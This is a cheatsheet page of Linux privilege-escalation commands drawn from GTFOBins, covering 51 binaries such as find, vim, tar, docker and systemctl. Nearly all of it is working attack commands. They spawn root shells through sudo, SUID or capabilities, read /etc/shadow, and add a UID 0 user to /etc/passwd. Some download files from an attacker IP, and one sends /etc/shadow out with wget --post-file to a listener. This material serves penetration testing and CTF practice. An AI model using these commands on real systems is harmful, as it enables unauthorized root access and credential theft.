Exploitable Linux binaries

Look up the binary you found with sudo -l, find / -perm -4000 or getcap -r /. In the SUID examples, ./binary is the path of the SUID binary (for example /usr/bin/find). Our own selection based on GTFOBins.

Your values Saved in this browser and applied to every cheatsheet.

Showing 51 of 51 binaries

apt-get Sudo
Sudo
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

Full entry on GTFOBins ↗

awk ShellSudoFile read
Shell
awk 'BEGIN {system("/bin/sh")}'
Sudo
sudo awk 'BEGIN {system("/bin/sh")}'
File read
awk '//' /etc/shadow

Full entry on GTFOBins ↗

base64 File read
File read
./base64 /etc/shadow | base64 -d

Works the same with sudo or SUID.

Full entry on GTFOBins ↗

bash ShellSudoSUIDFile write
Shell
bash
Sudo
sudo bash
SUID
./bash -p

Without -p, bash drops the SUID privileges.

File write
bash -c 'echo "contenido" > /ruta/fichero'

Full entry on GTFOBins ↗

busybox ShellSudoSUIDFile download
Shell
busybox sh
Sudo
sudo busybox sh
SUID
./busybox sh
File download
busybox wget http://10.10.14.5/fichero -O /tmp/fichero

Full entry on GTFOBins ↗

chmod SudoSUID
Sudo
sudo chmod u+s /bin/bash && bash -p
SUID
./chmod 6777 /etc/shadow

With SUID or sudo you can change the permissions of any file (shadow, sudoers, a copy of bash...).

Full entry on GTFOBins ↗

cp File readFile write
File read
./cp /etc/shadow /dev/stdout
File write
echo "pwn:$(openssl passwd -6 pwn123):0:0::/root:/bin/bash" > /tmp/linea
cat /etc/passwd /tmp/linea > /tmp/passwd
sudo cp /tmp/passwd /etc/passwd
su pwn

Adds a UID 0 user with password pwn123. With SUID use ./cp instead of sudo cp.

Full entry on GTFOBins ↗

curl File downloadFile readFile write
File download
curl http://10.10.14.5/fichero -o /tmp/fichero
File read
./curl file:///etc/shadow
File write
sudo curl http://10.10.14.5/authorized_keys -o /root/.ssh/authorized_keys

Full entry on GTFOBins ↗

date File read
File read
sudo date -f /etc/shadow

Each line shows up in an invalid date error. With SUID use ./date.

Full entry on GTFOBins ↗

dd File readFile write
File read
./dd if=/etc/shadow
File write
echo "contenido" | sudo dd of=/ruta/fichero

Full entry on GTFOBins ↗

docker ShellSudo
Shell
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

If your user is in the docker group, this already gives you root on the host.

Sudo
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Full entry on GTFOBins ↗

env ShellSudoSUID
Shell
env /bin/sh
Sudo
sudo env /bin/sh
SUID
./env /bin/sh -p

Full entry on GTFOBins ↗

expect ShellSudo
Shell
expect -c 'spawn /bin/sh;interact'
Sudo
sudo expect -c 'spawn /bin/sh;interact'

Full entry on GTFOBins ↗

find ShellSudoSUID
Shell
find . -exec /bin/sh \; -quit
Sudo
sudo find . -exec /bin/sh \; -quit
SUID
./find . -exec /bin/sh -p \; -quit

Full entry on GTFOBins ↗

flock SudoSUID
Sudo
sudo flock -u / /bin/sh
SUID
./flock -u / /bin/sh -p

Full entry on GTFOBins ↗

ftp Sudo
Sudo
sudo ftp
!/bin/sh

The second line is typed inside ftp.

Full entry on GTFOBins ↗

gdb ShellSudoCapabilities
Shell
gdb -nx -ex '!sh' -ex quit
Sudo
sudo gdb -nx -ex '!sh' -ex quit
Capabilities
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

Needs cap_setuid and gdb built with Python support.

Full entry on GTFOBins ↗

git Sudo
Sudo
sudo git -p help config
!/bin/sh

The pager (less) opens; type the second line there. If it does not page, make the terminal smaller.

Full entry on GTFOBins ↗

journalctl Sudo
Sudo
sudo journalctl
!/bin/sh

Works when the output does not fit on screen and less opens.

Full entry on GTFOBins ↗

less ShellSudoFile read
Shell
less /etc/profile
!/bin/sh
Sudo
sudo less /etc/profile
!/bin/sh
File read
./less /etc/shadow

Full entry on GTFOBins ↗

lua ShellSudo
Shell
lua -e 'os.execute("/bin/sh")'
Sudo
sudo lua -e 'os.execute("/bin/sh")'

Full entry on GTFOBins ↗

make SudoSUID
Sudo
sudo make -s --eval=$'x:\n\t-'"/bin/sh"
SUID
./make -s --eval=$'x:\n\t-'"/bin/sh -p"

Full entry on GTFOBins ↗

man Sudo
Sudo
sudo man man
!/bin/sh

Full entry on GTFOBins ↗

more SudoFile read
Sudo
sudo more /etc/profile
!/bin/sh

Make the terminal small so more does not finish before you can type.

File read
./more /etc/shadow

Full entry on GTFOBins ↗

mysql Sudo
Sudo
sudo mysql -e '\! /bin/sh'

Full entry on GTFOBins ↗

nano SudoFile write
Sudo
sudo nano
Ctrl+R Ctrl+X
reset; sh 1>&0 2>&0

Ctrl+R then Ctrl+X opens "Execute command"; type the third line there.

File write
sudo nano /etc/sudoers

Full entry on GTFOBins ↗

nice SudoSUID
Sudo
sudo nice /bin/sh
SUID
./nice /bin/sh -p

Full entry on GTFOBins ↗

nmap Sudo
Sudo
echo 'os.execute("/bin/sh")' > /tmp/x.nse
sudo nmap --script=/tmp/x.nse
Sudo
sudo nmap --interactive
!sh

Only on old nmap versions (2.02 to 5.21).

Full entry on GTFOBins ↗

node ShellSUIDCapabilities
Shell
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
SUID
./node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'
Capabilities
./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

Full entry on GTFOBins ↗

openssl File readFile write
File read
./openssl enc -in /etc/shadow
File write
echo "contenido" | sudo openssl enc -out /ruta/fichero

Full entry on GTFOBins ↗

perl ShellSudoSUIDCapabilities
Shell
perl -e 'exec "/bin/sh";'
Sudo
sudo perl -e 'exec "/bin/sh";'
SUID
./perl -e 'exec "/bin/sh", "-p";'
Capabilities
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Full entry on GTFOBins ↗

php ShellSudoSUIDCapabilities
Shell
php -r 'system("/bin/sh");'
Sudo
sudo php -r 'system("/bin/sh");'
SUID
./php -r 'pcntl_exec("/bin/sh", ["-p"]);'
Capabilities
./php -r 'posix_setuid(0); system("/bin/sh");'

Full entry on GTFOBins ↗

pip Sudo
Sudo
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

Full entry on GTFOBins ↗

python ShellSudoSUIDCapabilitiesFile read
Shell
python3 -c 'import os; os.system("/bin/sh")'
Sudo
sudo python3 -c 'import os; os.system("/bin/sh")'
SUID
./python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Capabilities
./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
File read
./python3 -c 'print(open("/etc/shadow").read())'

Full entry on GTFOBins ↗

rsync ShellSudo
Shell
rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
Sudo
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null

Full entry on GTFOBins ↗

ruby ShellSudoCapabilities
Shell
ruby -e 'exec "/bin/sh"'
Sudo
sudo ruby -e 'exec "/bin/sh"'
Capabilities
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

Full entry on GTFOBins ↗

scp Sudo
Sudo
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:

Full entry on GTFOBins ↗

sed ShellSudoFile read
Shell
sed -n '1e exec sh 1>&0' /etc/hosts
Sudo
sudo sed -n '1e exec sh 1>&0' /etc/hosts
File read
./sed -n p /etc/shadow

Full entry on GTFOBins ↗

service Sudo
Sudo
sudo service ../../bin/sh

Full entry on GTFOBins ↗

socat Sudo
Sudo
sudo socat stdin exec:/bin/sh

Full entry on GTFOBins ↗

ssh ShellSudo
Shell
ssh -o ProxyCommand=';sh 0<&2 1>&2' x
Sudo
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Full entry on GTFOBins ↗

strace SudoSUID
Sudo
sudo strace -o /dev/null /bin/sh
SUID
./strace -o /dev/null /bin/sh -p

Full entry on GTFOBins ↗

systemctl SudoSUID
Sudo
sudo systemctl
!sh

Opens the pager; shrink the terminal if it does not show.

SUID
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod u+s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
bash -p

Full entry on GTFOBins ↗

tar ShellSudo
Shell
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Sudo
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

If a root script runs tar with a wildcard (tar czf x.tgz *), create files named --checkpoint=1 and --checkpoint-action=exec=sh x.sh in that folder.

Full entry on GTFOBins ↗

tee File write
File write
echo "pwn:$(openssl passwd -6 pwn123):0:0::/root:/bin/bash" | sudo tee -a /etc/passwd
su pwn

Full entry on GTFOBins ↗

timeout SudoSUID
Sudo
sudo timeout --foreground 7d /bin/sh
SUID
./timeout 7d /bin/sh -p

Full entry on GTFOBins ↗

vim ShellSudoSUIDCapabilitiesFile read
Shell
vim -c ':!/bin/sh'
Sudo
sudo vim -c ':!/bin/sh'
SUID
./vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

Needs vim built with Python 3 support (vim --version | grep python3).

Capabilities
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
File read
./vim /etc/shadow

Full entry on GTFOBins ↗

wget File downloadFile writeFile read
File download
wget http://10.10.14.5/fichero -O /tmp/fichero
File write
sudo wget http://10.10.14.5/passwd -O /etc/passwd
File read
sudo wget --post-file=/etc/shadow http://10.10.14.5/

Receive the file on your machine with nc -lvnp 80.

Full entry on GTFOBins ↗

xargs ShellSudoSUID
Shell
xargs -a /dev/null sh
Sudo
sudo xargs -a /dev/null sh
SUID
./xargs -a /dev/null sh -p

Full entry on GTFOBins ↗

xxd File readFile write
File read
./xxd /etc/shadow | xxd -r
File write
echo "contenido" | xxd | sudo xxd -r - /ruta/fichero

Full entry on GTFOBins ↗

zip Sudo
Sudo
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'

Full entry on GTFOBins ↗